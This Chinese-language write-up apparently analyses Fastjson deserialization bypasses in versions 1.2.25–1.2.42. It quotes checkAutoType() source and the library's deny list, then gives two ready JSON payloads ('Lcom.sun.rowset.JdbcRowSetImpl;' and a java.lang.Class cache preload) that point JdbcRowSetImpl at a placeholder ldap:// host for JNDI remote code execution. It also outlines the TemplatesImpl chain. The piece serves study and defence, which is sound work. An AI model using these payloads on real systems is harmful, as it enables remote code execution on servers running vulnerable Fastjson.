白话分析之 fastjson 全系列补丁情况bypass源码分析(一)1.2.25-1.2.42系列
字数 1565 2025-08-07 08:22:07
Fastjson 反序列化漏洞分析与绕过技术(1.2.25-1.2.42系列)
前言
本文深入分析Fastjson在1.2.25至1.2.42版本间的反序列化漏洞及其绕过技术,重点解析JdbcRowSetImpl和TemplatesImpl两条调用链的利用方式,以及Fastjson团队如何通过补丁修复这些漏洞,攻击者又如何绕过这些补丁。
1.2.25版本安全机制分析
在Fastjson 1.2.25版本中,引入了checkAutoType()函数作为主要的安全防护机制,位于com.alibaba.fastjson.parser.DefaultJSONParser类的parseObject()方法中。
checkAutoType函数核心逻辑
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
// 基础检查
if (typeName == null) {
return null;
} else if (typeName.length() >= this.maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
// 关键变量:autoTypeSupport默认为false
if (this.autoTypeSupport || expectClass != null) {
// 白名单检查
for (int i = 0; i < this.acceptList.length; ++i) {
String accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (clazz != null) {
return clazz;
}
}
}
// 黑名单检查
for (int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 其他处理逻辑...
}
关键安全机制
- autoTypeSupport变量:默认为false,控制是否启用自动类型转换
- 白名单机制:从property配置文件中读取,开发者可配置
- 黑名单机制:硬编码在源码中,包含23个危险类/包前缀
黑名单列表
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.apache.xalan
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
绕过技术分析
情况一:autoTypeSupport为true时的绕过
适用版本:1.2.25 ≤ fastjson ≤ 1.2.41
绕过原理:
当autoTypeSupport为true时,可以通过在类名前加L、后加;的方式绕过黑名单检查:
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://xx.xx.xx.xx:port/Evalclass\",\"autoCommit\":true}";
技术细节:
TypeUtils.loadClass()方法会对LclassName;格式的类名进行特殊处理- 去除首尾的
L和;后重新加载类 - 绕过黑名单检查后正常加载
JdbcRowSetImpl类
情况二:autoTypeSupport为false时的绕过
适用版本:1.2.25 ≤ fastjson ≤ 1.2.41
绕过原理:
利用java.lang.Class类型提前将危险类加载到TypeUtils的mappings缓存中:
String payloadforall = "{
\"a\":{
\"@type\":\"java.lang.Class\",
\"val\":\"com.sun.rowset.JdbcRowSetImpl\"
},
\"b\":{
\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
\"dataSourceName\":\"ldap://xxx.xxx.xxx.xxx:port/Evalclass\",
\"autoCommit\":true
}
}";
技术细节:
- 第一个JSON对象通过
java.lang.Class将JdbcRowSetImpl加载到mappings缓存 - 第二个JSON对象通过缓存机制绕过
checkAutoType()检查 - 必须将
java.lang.Class的部分放在前面
版本差异分析
-
1.2.25-1.2.31:
- 黑名单检查优先级高于缓存检查
- 仅适用于autoTypeSupport为true时的绕过
-
1.2.32-1.2.41:
- 缓存检查优先级高于黑名单检查
- 两种绕过方式都适用
-
1.2.42及以后:
- 修复了
LclassName;绕过方式 - 对黑名单类名进行hash处理
- 但缓存绕过方式仍然有效
- 修复了
漏洞利用链分析
JdbcRowSetImpl利用链
- 反序列化时调用setter方法
- 设置
dataSourceName和autoCommit属性 - 当
autoCommit设置为true时触发connect()方法 - 执行JNDI lookup导致RCE
TemplatesImpl利用链
- 通过字节码加载机制
- 利用
_bytecodes属性传入恶意字节码 - 通过
getOutputProperties()或newTransformer()触发代码执行
防御措施
- 升级到最新版本Fastjson
- 关闭autoTypeSupport功能
- 配置合适的安全白名单
- 对输入进行严格过滤
总结
Fastjson在1.2.25到1.2.42版本间存在多种反序列化漏洞利用方式,主要通过:
- 类名特殊格式绕过(LclassName;)
- 缓存机制绕过
- 版本间安全机制差异利用
理解这些漏洞原理和绕过技术对于安全防护和漏洞挖掘都具有重要意义。后续版本中Fastjson团队不断改进安全机制,但同时也出现了新的绕过方式,需要持续关注。